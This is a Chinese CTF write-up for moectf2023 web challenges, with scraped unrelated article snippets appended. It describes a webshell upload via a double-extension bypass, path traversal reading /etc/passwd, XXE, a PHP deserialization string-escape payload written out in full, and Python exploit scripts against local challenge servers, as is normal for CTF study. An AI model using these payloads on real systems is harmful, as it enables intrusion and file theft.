moectf2023 web wp
gas!gas!gas!
直接跑脚本
import requests
session=requests.Session()
url="http://127.0.0.1:14447"
steering_control=0
throttle=1
for i in range(10):
datas={"driver":1,"steering_control":steering_control,"throttle":throttle}
print(datas)
data=session.post(url,data=datas)
try:
re=data.text.split('<font color="red">')[1].split("</font>")[0]
except:
print(data.text)
if re.find("右")>-1:
steering_control=-1
if re.find("直行")>-1:
steering_control=0
if re.find("左")>-1:
steering_control=1
if re.find("小")>-1:
throttle=0
if re.find("保持")>-1:
throttle=1
if re.find("大")>-1:
throttle=2
print(re)
moe图床
先随机上传一个带有一句话木马的png文件
查看前端代码
发现有个upload.php

它只取第一个后缀,那我们可以试着构造1.png.php
然后蚁剑连接

meo图床
先上传一张图片,发现
调用了name参数,来存放文件。尝试是不是文件穿越

发现能读取/etc/passwd
尝试读取/flag

发现了突破口


大海捞针
/?id=1进行id爆破

了解你的座驾
先抓包

URL解码得到xml_content=XDU moeCTF Flag
可以判断为XXE漏洞

再进行URL编码
moectf{DO-Y0u-lIk3-the_xXE_VUlHuB-phP-tO_Get_Flag_@fTEr_G@Sgasgas0}
夺命十三枪
发现require_once('Hanxin.exe.php'); 直接/Hanxin.exe.php
根据代码审计,我们需要把$Spear_Owner = 'Nobody';改成MaoLei
同时我们已经知道了目前的payload是O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}

发现str_replace 猜测为字符串逃逸 逃逸部分为";s:11:"Spear_Owner";s:6:"MaoLei";}

所以payload=
?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
moectf{PhP_UnsErI@1_coDE-I5_w3LC0me-@Nd_yOU-shoU1D_eScAPe_from_the_filter0}
signin
assert users["admin"] == "admin"
users中存在用户名“admin”密码也为“admin”,表面上看需要传入的参数也为admin/admin。

继续分析源码可以发现eval()语句将base64.b64encode覆写为base64.b64decode
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
#当传入的参数items为2个时该函数等价于求两个参数的异或值并返回,所以当两个参数相等时不管该参数为何值,返回值都为0
#而传入参数有两个过滤,username不能等于“admin”,且username不能等于password,而拿到flag需要hashed值为0,怎么才能做到呢?
而传入参数有两个过滤,username不能等于“admin”,且username不能等于password,而拿到flag需要hashed值为0,怎么才能做到呢?
接下来编写脚本即可把构造的json数据base64编码五次
import requests
import base64
url = "http://localhost:64817/login"
username = "\"1\""
password = "1"
jsondata = "{\"username\":"+f"{username}"+",\"password\":"+f"{password}"+"}"
print(f"{jsondata = }")
for _ in range(5):
jsondata = base64.b64encode(str(jsondata).encode()).decode()
data = "{\"params\":\""+f"{jsondata}\""+"}"
print(f"{data = }")
req = requests.post(url=url,data=data).text
print(f"{req = }")
moectf2023 web wp的更多相关文章
- ISCC的 Web——WP
比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...
- 实验吧—Web——WP之 Forms
我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...
- 到处抄来的SUCTF2019 web wp
0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...
- 2021CISCN 华南赛区WEB wp
CISCN 华南区域赛 太菜了 我躺平了 easy_seri <?php error_reporting(0); highlight_file(__FILE__); class Test{ pu ...
- 2019西湖论剑web wp
发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...
- 实验吧—Web——WP之 FALSE
打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ...
- 实验吧—Web——WP之 Guess Next Session
打开链接,他有给出查看原码的按钮,那么我们打开看看 在这个里面,如果GET的值等于session的就会给出flag 那么我们进行抓包改包 在输入框内随意输入一个值然后抓包 将password的值删去, ...
- 实验吧—Web——WP之 简单的sql注入之2
直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...
- 实验吧—Web——WP之 上传绕过
我们先上传一个png文件,发现他说必须上传后缀名为PHP的文件才可以,那么,我们尝试一下,PHP文件 但是他又说不被允许的文件类型 在上传绕过里最有名的的就是00截断,那么我们就先要抓包 在这里我们需 ...
- 实验吧—Web——WP之 猫抓老鼠
打开解题链接后,发现他是让我们输入key提交查询就能进行下一步 题目中提示了:catch(抓的意思) 那么我们很容易就能想到是BP抓包,抓包后直接放到repeater中改包. 我们先GO一下看看有什么 ...
随机推荐
- 操作方法分享:4G模组中移OneNET轻松上云平台
一.简介 1.1 IoT_CLOUD的功能 IoT_CLOUD库本质就是上层设计一套通用的API,用库来实现每个平台功能的对接. 目前已经实现了各个平台的所有注册方式,其中自动注册会将相关验证信息 ...
- TAMAYA
TAMAYA 挺有意思的维护题. 题面 n个小夫坐成一排,每个小夫有一个真实值vi.小夫们有m场聚会,第i次聚会会在编号为 [li, ri] 的小夫中举办. 聚会之后,这些小夫的真实值会变为他们之中的 ...
- Linux管道命令
Linux中常用文件字符串分析的命令 在linux中文件管理与系统管理的方面,经常会用到要从一个文件中或者一长串字符串中提取你所需要的数据,或者某些字段来进行查看或者分析,作为一个初级linux小菜鸟 ...
- DSPf28335 --工程模版相关文件
创建工程需要的两个文件 DSP2833x_common 1.cmd 下图中的两个文件(由TI公司提供的) 1.28335_RAM_lnk.cmd :程序下载到RAM中进行调试和仿真所使用的启动文件. ...
- Vscode之常用插件
code runner 可以直接在编辑器中运行代码,查看结果,非常方便,一键运行. PHP Intelephense PHP代码提示工具,支付代码提示.查找定义.类搜索等功能,非常强大. php de ...
- S2P彩蝶流向数据管理穿透到终端才有意义
这两年我们也是在医药行业服务当中见证了行业的变化和趋势,流向管理系统,至少到目前,在行业当中将会是很大的趋势. 01过去粗放的流向管理方式 早在十年前,整个医药行业,特别是外资企业.对实时流向管理,流 ...
- Git 克隆部分文件
使用 sparse-checkout (推荐) git clone \ -b master \ --depth=1 \ --filter=blob:none \ --sparse \ <repo ...
- 如何实现LLM的通用function-calling能力?
众所周知,LLM的函数function-calling能力很强悍,解决了大模型与实际业务系统的交互问题.其本质就是函数调用. 从openai官网摘图: 简而言之: LLM起到决策的作用,告知业务系统应 ...
- 部署docker-registry +ui , 使用ansible部署docker实例
#部署docker-registry +ui , 使用ansible部署docker实例 docker registry 配置域名证书, 用户密码认证, 轻量UI shell部署docker-regi ...
- VB 不应该是这副模样出现
和同时代的其它语言比,VB 设计的太烂了,应景之作,充满了各种小聪明. 当时有 JS, 有 python,VB 的设计者不懂参考借鉴,给出的是一个连继承都没有的设计. VB 的语言设计问题极多, 首选 ...